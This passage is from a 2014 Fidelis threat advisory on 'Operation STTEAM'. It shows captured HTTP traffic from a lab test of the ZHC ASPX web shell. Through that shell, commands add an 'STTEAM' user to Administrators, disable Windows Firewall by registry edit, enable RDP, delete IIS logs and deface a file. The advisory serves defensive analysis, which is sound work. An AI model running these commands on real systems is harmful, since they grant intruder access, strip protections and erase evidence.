http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd5 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 391 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId2n0ffa45celc1uac4wopi1bl __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmd5netuserSTTEAMSTTEAM_PAS SWORD2FaddButton1234567Run__EVENTVALIDATION2FwEWAwLrm6SaCAKzmZ WbBQL22FOPuA2cTIANlM0qT3tdmPBJNeBj1930x Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 39 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Add User To Administrators Group option selected Command: net localgroup Administrators STTEAM /add GET /ZHC_Shell_1.0.aspx?actioncmd6 HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdzu5ecf45zet1pk55r33w0s55 ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 20:33:17 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3308 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl06 methodpost actionZHC_Shell_1.0.aspx?actioncmd6 idctl06 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd6 typetext valuenet localgroup Administrators USERNAME /add idcmd6 classTextBox stylewidth:300px / input typesubmit nameButton12345678 valueRun idButton12345678 classbutton //center p span idresult6 stylestyle2/span/p div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWAwLrm6SaCAKzmYHADAL2/IPtA7C4ifdGVxSBM2fTTZwnl57pQlKJ / /div/form Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 40 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd6 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd6 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 397 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdzu5ecf45zet1pk55r33w0s55 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmd6netlocalgroupAdministratorsS TTEAM2FaddButton12345678Run__EVENTVALIDATION2FwEWAwLrm6SaCAKzmY HADAL22FIPtA7C4ifdGVxSBM2fTTZwnl57pQlKJ - Disable Windows Firewall option selected Command: reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0x0 /f GET /ZHC_Shell_1.0.aspx?actioncmd7 HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 41 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 20:45:59 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3409 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl07 methodpost actionZHC_Shell_1.0.aspx?actioncmd7 idctl07 div input typehidden name__EVENTTARGET id__EVENTTARGET value / input typehidden name__EVENTARGUMENT id__EVENTARGUMENT value / input typehidden name__VIEWSTATE id__VIEWSTATE value/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb 3JtLWRhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQx OZXdEaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RROceR1taS / /div script typetext/javascript //[CDATA[ var theForm  document.forms[ctl07] if (theForm) theForm  document.ctl07  function __doPostBack(eventTarget, eventArgument) if (theForm.onsubmit  (theForm.onsubmit()  false)) theForm.__EVENTTARGET.value  eventTarget theForm.__EVENTARGUMENT.value  eventArgument theForm.submit()   //]] /script centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd7 typetext valuereg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\Stand ardProfile /v EnableFirewall /t REG_DWORD /d 0x0 /f idcmd7 classTextBox Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 42 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 stylewidth:300px / input typesubmit nameButton123456789 valueRun idButton123456789 classbutton //center ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd7 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd7 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 523 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmd7regaddHKLM5CSYSTEM5CC urrentControlSet5CServices5CSharedAccess5CParameters5CFirewallPolicy5CSta ndardProfile2FvEnableFirewall2FtREG_DWORD2Fd0x02FfButton123456789 Run__EVENTVALIDATION2FwEWAwLrm6SaCAKzme3kAwK2BxfyUASfm2BRQj02F AK4DsxXvzDYuMdePDU - Enable RDP option selected Command: reg add hklm\system\currentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0x0 /f GET /ZHC_Shell_1.0.aspx?actioncmd4 HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 43 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 20:54:06 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3366 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl04 methodpost actionZHC_Shell_1.0.aspx?actioncmd4 idctl04 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd4 typetext valuereg add hklm\system\currentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0x0 /f idcmd4 classTextBox stylewidth:300px / input typesubmit nameButton123456 valueRun idButton123456 classbutton //center p span idresult4 stylestyle2/span/p div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWAwLrm6SaCAKzman2DQKQ2IntAYINAjTlbJVP1wlOS99PseJjpF7p / /div/form /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd4 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 44 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd4 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 472 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmd4regaddhklm5Csystem5Ccur rentControlSet5CControl5CTerminalServer2FvfDenyTSConnections2FtREG_D WORD2Fd0x02FfButton123456Run__EVENTVALIDATION2FwEWAwLrm6SaCA Kzman2DQKQ2IntAYINAjTlbJVP1wlOS99PseJjpF7p - Wipe IIS Logs Command: del C:\WINDOWS\system32\LogFiles\W3SVC1\.log GET /ZHC_Shell_1.0.aspx?actioncmd3 HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:01:13 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3304 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 45 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 /p div aligncenter/div style typetext/css body,td,th color: FFFFFF font-family: Comic Sans Ms  body background-image: url(http://a6.sphotos.ak.fbcdn.net/hphotos-ak- snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg) background-position: center center background-repeat: no-repeat background-color: 000000 background-attachment: fixed font-family: Comic Sans MS font-size: 16px  a:link color: FFFFFF text-decoration: none  a:visited text-decoration: none color: FFFFFF  a:hover text-decoration: none color: 00FF00  a:active text-decoration: none color: 00FF00  .button color: FFFFFF border: 1px solid 084B8E background-color: 719BC5 .TextBox border: 1px solid 084B8E .style3 color: 00FF00 .text font-family: Comic Sans MS font-size: 18px .title font-family: Comic Sans MS font-size: 22px .footer font-size: 12px /style head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl03 methodpost actionZHC_Shell_1.0.aspx?actioncmd3 idctl03 div input typehidden name__EVENTTARGET id__EVENTTARGET value / input typehidden name__EVENTARGUMENT id__EVENTARGUMENT value / input typehidden name__VIEWSTATE id__VIEWSTATE value/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb 3JtLWRhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQx OZXdEaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RROceR1taS / /div script typetext/javascript Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 46 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 //[CDATA[ var theForm  document.forms[ctl03] if (theForm) theForm  document.ctl03  function __doPostBack(eventTarget, eventArgument) if (theForm.onsubmit  (theForm.onsubmit()  false)) theForm.__EVENTTARGET.value  eventTarget theForm.__EVENTARGUMENT.value  eventArgument theForm.submit()   //]] /script centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd3 typetext valuedel C:\WINDOWS\system32\LogFiles\W3SVC1\.log idcmd3 classTextBox stylewidth:300px / input typesubmit nameButton12345 valueRun idButton12345 classbutton //center p span idresult3 stylestyle2/span/p div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWAwLrm6SaCAKzmb3RBgKQ2MH4A3QhRm9X8qGmlKZOcwCozua3cwJ / /div/form /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd3 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd3 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 47 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Host: 192.168.1.1 Content-Length: 408 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmd3delC3A5CWINDOWS5Csyst em325CLogFiles5CW3SVC15C.logButton12345Run__EVENTVALIDATION2FwE WAwLrm6SaCAKzmb3RBgKQ2MH4A32BQhRm9X8qGmlKZOcwCozua3cwJ - Edit option selected to modify the contents of a file Filename: TEST_FILE.TXT Data added: Hacked by STTEAM GET /ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:48 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3555 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 48 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p div aligncenter/div style typetext/css body,td,th color: FFFFFF font-family: Comic Sans Ms  body background-image: url(http://a6.sphotos.ak.fbcdn.net/hphotos-ak- snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg) background-position: center center background-repeat: no-repeat background-color: 000000 background-attachment: fixed font-family: Comic Sans MS font-size: 16px  a:link color: FFFFFF text-decoration: none  a:visited text-decoration: none color: FFFFFF  a:hover text-decoration: none color: 00FF00  a:active text-decoration: none color: 00FF00  .button color: FFFFFF border: 1px solid 084B8E background-color: 719BC5 .TextBox border: 1px solid 084B8E .style3 color: 00FF00 .text font-family: Comic Sans MS font-size: 18px .title font-family: Comic Sans MS font-size: 22px .footer font-size: 12px /style head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl11 methodpost actionZHC_Shell_1.0.aspx?actioneditampsrcc3a5cinetpub5cwwwroot5cTEST_FIL E.TXT idctl11 enctypemultipart/form-data div Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 49 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 input typehidden name__EVENTTARGET id__EVENTTARGET value / input typehidden name__EVENTARGUMENT id__EVENTARGUMENT value / input typehidden name__VIEWSTATE id__VIEWSTATE value/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb 3JtLWRhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQx OZXdEaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RROceR1taS / /div script typetext/javascript //[CDATA[ var theForm  document.forms[ctl11] if (theForm) theForm  document.ctl11  function __doPostBack(eventTarget, eventArgument) if (theForm.onsubmit  (theForm.onsubmit()  false)) theForm.__EVENTTARGET.value  eventTarget theForm.__EVENTARGUMENT.value  eventArgument theForm.submit()   //]] /script table width80  border1 aligncenter tr      td width11Path/td td width89 input namefilepath typetext valuec:\inetpub\wwwroot\TEST_FILE.TXT idfilepath classTextBox stylewidth:300px / /td /tr tr tdContent/td td textarea namecontent rows25 cols100 idcontent classTextBoxDATA IN quotTEST_FILE.TXTquot./textarea/td /tr tr td/td td input typesubmit namea valueSumbit ida classbutton / /td /tr /table div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 / /div/form /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 50 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST _FILE.TXT Accept-Language: en-us Content-Type: multipart/form-data boundary---------------------------7de26c3b270192 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 1096 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- -----------------------------7de26c3b270192 Content-Disposition: form-data name__EVENTTARGET -----------------------------7de26c3b270192 Content-Disposition: form-data name__EVENTARGUMENT -----------------------------7de26c3b270192 Content-Disposition: form-data name__VIEWSTATE /wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLW RhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXd EaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RROceR1taS -----------------------------7de26c3b270192 Content-Disposition: form-data namefilepath c:\inetpub\wwwroot\TEST_FILE.TXT -----------------------------7de26c3b270192 Content-Disposition: form-data namecontent DATA IN TEST_FILE.TXT.
Hacked by STTEAM -----------------------------7de26c3b270192 Content-Disposition: form-data namea Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 51 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Sumbit -----------------------------7de26c3b270192 Content-Disposition: form-data name__EVENTVALIDATION /wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 -----------------------------7de26c3b270192-- ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:59 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3749 scriptalert(EditCreat c:\\inetpub\\wwwroot\\TEST_FILE.TXT Success)location.href/ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot 5c/script DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl11 methodpost actionZHC_Shell_1.0.aspx?actioneditampsrcc3a5cinetpub5cwwwroot5cTEST_FIL E.TXT idctl11 enctypemultipart/form-data div input typehidden name__EVENTTARGET id__EVENTTARGET value / input typehidden name__EVENTARGUMENT id__EVENTARGUMENT value / input typehidden name__VIEWSTATE id__VIEWSTATE value/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb 3JtLWRhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQdOZXdGaWxlBQd OZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0RpcmVjdG9yecjgjhjkSsSPowbSdyPqLK8RvfwA / /div script typetext/javascript //[CDATA[ var theForm  document.forms[ctl11] if (theForm) theForm  document.ctl11  function __doPostBack(eventTarget, eventArgument) if (theForm.onsubmit  (theForm.onsubmit()  false)) theForm.__EVENTTARGET.value  eventTarget theForm.__EVENTARGUMENT.value  eventArgument theForm.submit() Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 52 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020   //]] /script table width80  border1 aligncenter tr      td width11Path/td td width89 input namefilepath typetext valuec:\inetpub\wwwroot\TEST_FILE.TXT idfilepath classTextBox stylewidth:300px / /td /tr tr tdContent/td td textarea namecontent rows25 cols100 idcontent classTextBoxDATA IN 